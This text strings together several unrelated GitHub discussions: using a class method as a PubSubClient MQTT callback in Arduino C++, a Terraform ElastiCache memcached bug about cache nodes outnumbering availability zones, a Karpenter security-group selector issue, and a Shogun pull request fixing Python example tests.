void callback(char* topic, byte* payload, unsigned int length);
...
}
In my xxx.cpp I defined the following:
void Iotdevice::callback(char* topic, byte* payload, unsigned int length) {...}
I have tried a lot of variations, but I can't seem to solve it. Can anyone help me out?

You can't use a class function for the callback. Define a global function and then call the class function from there.

Correct but wouldn't it be nice to if u could overload the method in a subclass.

@Pimmetje That would be nice to. Haven't tried that one.

I tried it. I made some small changes to the library and it worked for the simple tests i did. But it requires your to inherit from PubSubClient in order to overload the method of course.
I was working on this to make a base class that would handle wifi mqtt connecting and reconnecting without reprogramming it for every project. I also added a http update server just for fun but now i am getting off topic.

Hi,
What modifications had you made to PubSubClient to use the callback in another Class?
Thanks
Simon

Just a quick and dirty writeup (untested). If someone wants a proper diff let me know but it ill take me a little more time :D
Relevant part of the loop code: note the this->_callback lines:
                    if ((buffer[0]&0x06) == MQTTQOS1) {
                        msgId = (buffer[llen+3+tl]<<8)+buffer[llen+3+tl+1];
                        payload = buffer+llen+3+tl+2;
                        this->_callback(topic,payload,len-llen-3-tl-2);

                        buffer[0] = MQTTPUBACK;
                        buffer[1] = 2;
                        buffer[2] = (msgId >> 8);
                        buffer[3] = (msgId & 0xFF);
                        _client->write(buffer,4);
                        lastOutActivity = t;

                    } else {
                        payload = buffer+llen+3+tl;
                        this->_callback(topic,payload,len-llen-3-tl);
                    }

Added methods (h file)
private:
void _callback(char* topic, byte* payload, unsigned int len);
protected:
   virtual void onCallback(char* topic, byte* payload, unsigned int len);

Added methods (cpp file):
/**
 * This method should be overloaded. If the method is not overload the old callback will work
 *
 * If the method is overloaded and the parent is called both onCallback and the
 * old style will get executed
 */
void PubSubClient::onCallback(char* topic, byte* payload, unsigned int len) {
    if (callback) {
        callback(topic, payload, len);
    }
}

void PubSubClient::_callback(char* topic, byte* payload, unsigned int len) {
    this->onCallback(topic, payload, len);
}

Everything works well !!!I found a very simple solution by declaring the callback of the following trend:
mqttClient.setCallback ([this] (char * topic, byte * payload, unsigned integer length) {this -> _ mqtt_callback (subject, payload, length);});
and works
Thank you for your help!
Simon
Le mercredi 18 octobre 2017 à 16:01:13 UTC+2, Pimmetje<EMAIL_ADDRESS>a écrit :

Just a quick and dirty writeup (untested). If someone wants a proper diff let me know but it ill take me a little more time :D
Relevant part of the loop code: note the this->_callback lines:
if ((buffer[0]&0x06) == MQTTQOS1) {
msgId = (buffer[llen+3+tl]<<8)+buffer[llen+3+tl+1];
payload = buffer+llen+3+tl+2;
this->_callback(topic,payload,len-llen-3-tl-2);
                    buffer[0] = MQTTPUBACK;
                    buffer[1] = 2;
                    buffer[2] = (msgId >> 8);
                    buffer[3] = (msgId & 0xFF);
                    _client->write(buffer,4);
                    lastOutActivity = t;

                } else {
                    payload = buffer+llen+3+tl;
                    this->_callback(topic,payload,len-llen-3-tl);
                }

Added methods (h file)
private:
void _callback(char* topic, byte* payload, unsigned int len);
protected:
virtual void onCallback(char* topic, byte* payload, unsigned int len);
Added methods (cpp file):
/**

This method should be overloaded. If the method is not overload the old callback will work

If the method is overloaded and the parent is called both onCallback and the
old style will get executed
/
void PubSubClient::onCallback(char topic, byte* payload, unsigned int len) {
if (callback) {
callback(topic, payload, len);
}
}

void PubSubClient::_callback(char* topic, byte* payload, unsigned int len) {
this->onCallback(topic, payload, len);
}
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.

Found this solution online.
https://hobbytronics.com.pk/arduino-custom-library-and-pubsubclient-call-back/
MQTTClient.setServer(MQTT_SERVER, 1883);
MQTTClient.setCallback([this] (char* topic, byte* payload, unsigned int length) { this->callback(topic, payload, length); });

Hello , is this still open ? . Can aypone help me i tried solution that @yozmag  typed but i keep getting error
/Users/arminsalcin/Documents/Arduino/libraries/Farmica/farma.cpp: In constructor 'Farma::Farma()': /Users/arminsalcin/Documents/Arduino/libraries/Farmica/farma.cpp:19:120: error: no matching function for call to 'PubSubClient::setCallback(Farma::Farma()::<lambda(char*, byte*, unsigned int)>)'  client.setCallback([this] (char* topic, byte* payload, unsigned int length) { this->callback(topic, payload, length); });                                                                                ^ In file included from /Users/arminsalcin/Documents/Arduino/libraries/Farmica/farma.h:15:0,                  from /Users/arminsalcin/Documents/Arduino/libraries/Farmica/farma.cpp:1: /Users/arminsalcin/Documents/Arduino/libraries/pubsubclient-2.5/src/PubSubClient.h:121:18: note: candidate: PubSubClient& PubSubClient::setCallback(void (*)(char*, uint8_t*, uint32_t))     PubSubClient& setCallback(MQTT_CALLBACK_SIGNATURE);                   ^
In cpp file
`Farma::Farma(){
client.setCallback([this] (char* topic, byte* payload, unsigned int length) { this->callback(topic, payload, length); });
}
void Farma::callback(char *topic, byte *payload, unsigned int length)
{
//some code
}
in h file void callback(char topic, bytepayload, unsigned int length);`

Hello,
As now i use this library with arduino uno connected to gsm module, now this approach for esp32 doesn't work as MQTT_CALLBACK_SIGNATURE is different is it any way to do this with arduino uno signature ?
This doesn't work now...
client.setCallback([this] (char* topic, byte* payload, unsigned int length) { this->callback(topic, payload, length); });

Hi
I'm stuck at the same point, trying to set the callback from a custom library on arduino nano.
I got this error:
lib\myclass\myclass.cpp: In constructor 'myclass::myclass()':
lib\myclass\myclass.cpp:11:127: error: no matching function for call to 'PubSubClient::setCallback(myclass::myclass()::<lambda(char*, uint8_t*, uint32_t)>)'
     MQTTClient.setCallback([this] (char* topic, uint8_t* payload, uint32_t length) { this->callback(topic, payload, length); });
                                                                                ^
In file included from lib\myclass/myclass.h:6:0,
                 from lib\myclass\myclass.cpp:2:
lib\pubsubclient\src/PubSubClient.h:113:18: note: candidate: PubSubClient& PubSubClient::setCallback(void (*)(char*, uint8_t*, uint32_t))
    PubSubClient& setCallback(MQTT_CALLBACK_SIGNATURE);
                  ^~~~~~~~~~~
lib\pubsubclient\src/PubSubClient.h:113:18: note:   no known conversion for argument 1 from 'myclass::myclass()::<lambda(char*, uint8_t*, uint32_t)>' to 'void (*)(char*, uint8_t*, uint32_t) {aka void (*)(char*, unsigned char*, long unsigned int)}'

This is my short code for testing:
myclass.h
#ifndef myclass_h
#define myclass_h

#include <Arduino.h>
#include <EthernetENC.h>
#include <PubSubClient.h>

#define MQTT_CALLBACK_SIGN void (*mqttCallback)(char*, uint8_t*, uint32_t)

class myclass
{
private:
    MQTT_CALLBACK_SIGN;
public:
    myclass();
    void callback(char* topic, uint8_t* payload, uint32_t length);
    myclass& setCallback(MQTT_CALLBACK_SIGN);
};

#endif

myclass.cpp
#include <myclass.h>

EthernetClient _Client;
PubSubClient MQTTClient(_Client);

myclass::myclass()
{

    MQTTClient.setServer("<IP_ADDRESS>", 1883);
    MQTTClient.setCallback([this] (char* topic, uint8_t* payload, uint32_t length) { this->callback(topic, payload, length); });

}

void myclass::callback(char* topic, uint8_t* payload, uint32_t length)
{
    //Do Something
}

myclass& myclass::setCallback(MQTT_CALLBACK_SIGN)
{
	this->mqttCallback = mqttCallback;
    return *this;
}

I found a solution here https://github.com/knolleary/pubsubclient/pull/760 using the following fork example https://github.com/xluthi/pubsubclient/blob/master/examples/mqtt_inheritance/mqtt_inheritance.ino


Defining more cache nodes than you have availability zones is not supported

Found a bug? Maybe our Slack Community can help.

Describe the Bug
You cannot define more cache nodes than you have defined availability zones.
Expected Behavior
You should be able to have more nodes than AZs (max 20 for memcached), terraform documentation does mention that the preferred_availability_zones parameter should have a list with same amount of AZ as you have num_cache_nodes defined (https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/elasticache_cluster#preferred_availability_zones) so I do understand the attempt to use slice() function in https://github.com/cloudposse/terraform-aws-elasticache-memcached/blob/master/main.tf#L101, but I doesn't work for this use case.
Steps to Reproduce
Steps to reproduce the behavior:

Define more nodes than AZs, e.g. 2 AZs and 3 nodes.

module "memcached" {
  source             = "git::https://github.com/cloudposse/terraform-aws-elasticache-memcached.git?ref=tags/0.9.2"
  name               = "test"
  availability_zones = ["us-east-1a", "us-east-1b"]
  vpc_id             = "vpc-123456"
  cluster_size       = 3
  instance_type      = "cache.r5.large"
  engine_version     = "1.5.16"
}

Run terraform plan
See error

Error: Invalid function argument

  on .terraform/modules/memcached/main.tf line 101, in resource "aws_elasticache_cluster" "default":
 101:   preferred_availability_zones = slice(var.availability_zones, 0, var.cluster_size)
    |----------------
    | var.cluster_size is 3

Invalid value for "end_index" parameter: end index must not be greater than
the length of the list.

Additional Context
I'll try to figure out a way to construct a list with AZs that matches the number of cache nodes and make a PR myself.

Oh yea, I guess you could define the same AZ multiple times in the var.availability_zones list, like follows:
...
  availability_zones = ["us-east-1a", "us-east-1b", "us-east-1c" ,"us-east-1d", "us-east-1e", "us-east-1f", "us-east-1a"]
  cluster_size       = 7
...

But that is a workaround..


Security groups are not associated with nodes network interfaces as per spec securityGroupSelector as well as issue with subnet selector

Description
Observed Behavior:
I have added two security groups IDs in the node template spec securityGroupSelector however the only primary network get associated with both security groups and secondary network interface get only one security group association.
Expected Behavior:
I am expecting that all network interfaces on Node should get associated with security group ids as specified in spec securityGroupSelector
Reproduction Steps (Please include YAML):

resource "kubectl_manifest" "karpenter_node_template" {
  yaml_body = <<-YAML
    apiVersion: karpenter.k8s.aws/v1alpha1
    kind: AWSNodeTemplate
    metadata:
      name: default
    spec:
      blockDeviceMappings:
      - deviceName: /dev/xvda
        ebs:
          encrypted: true
          volumeSize: 400Gi
          volumeType: gp3
      subnetSelector:
        karpenter.sh/discovery: ${module.eks.cluster_name}
      securityGroupSelector:
        aws-ids: "${module.eks.node_security_group_id},${module.eks.cluster_primary_security_group_id}"
      instanceProfile: ${module.eks_blueprints_addons.karpenter.node_instance_profile_name}
      tags:
        karpenter.sh/discovery: ${module.eks.cluster_name}
  YAML
}

Versions: 1.29.0

Chart Version: v0.29.2
Kubernetes Version (kubectl version): 1.24 (1.29)

Please vote on this issue by adding a 👍 reaction to the original issue to help the community and maintainers prioritize this request
Please do not leave "+1" or "me too" comments, they generate extra noise for issue followers and do not help prioritize the request
If you are interested in working on this issue or have submitted a pull request, please leave a comment

Karpenter doesn't control the ENIs that get assigned to the node outside of the primary ENI after launch. After launch, it's the CNI's responsibility to provision additional ENIs to the nodes and make sure there are available IPs for the node to bind pods.
I would expect that there is some configuration on the CNI-side that should allow you to expand the set of security groups that Karpenter nodes get assigned outside of the primary ENI.

The other question that I have here is: Are you using Security Groups for Pods? That also might cause you to get security groups that aren't inherited from the primary ENI


Shorten time and diagnose failing python modular examples.

For #3005.
I haven't touched those that use shogun-data. Final output of make test after changes is here.

5 tests which were not passing before are now passing.
Before:
The following tests FAILED:
	330 - python_modular-evaluation_cross_validation_multiclass_storage (Failed)
	338 - python_modular-structure_hierarchical_multilabel_classification (Failed)
	346 - python_modular-preprocessor_fisherlda_modular (Failed)
	366 - python_modular-modelselection_grid_search_kernel (Failed)
	403 - python_modular-modelselection_grid_search_krr_modular (Failed)
	458 - python_modular-neuralnets_simple_modular (Failed)
	470 - python_modular-modelselection_parameter_tree_modular (Failed)
	499 - python_modular-serialization_complex_example (Failed)
	501 - python_modular-features_string_char_compressed_modular (Failed)

After:
The following tests FAILED:
	330 - python_modular-evaluation_cross_validation_multiclass_storage (Failed)
	338 - python_modular-structure_hierarchical_multilabel_classification (Failed)
	499 - python_modular-serialization_complex_example (Failed)
	501 - python_modular-features_string_char_compressed_modular (Failed)

Interesting. All my changes in the second commit fail on travis but pass on my laptop. I have shogun 4.0.0 installed on my laptop so I think that's making this happen. I'll revert back the second commit.

traivs timed out. restarted.
Otherwise I am fine.
Good to start with those that dont use shogun-data. Though this is disabled anyways and will be replaced soon

Thanks for that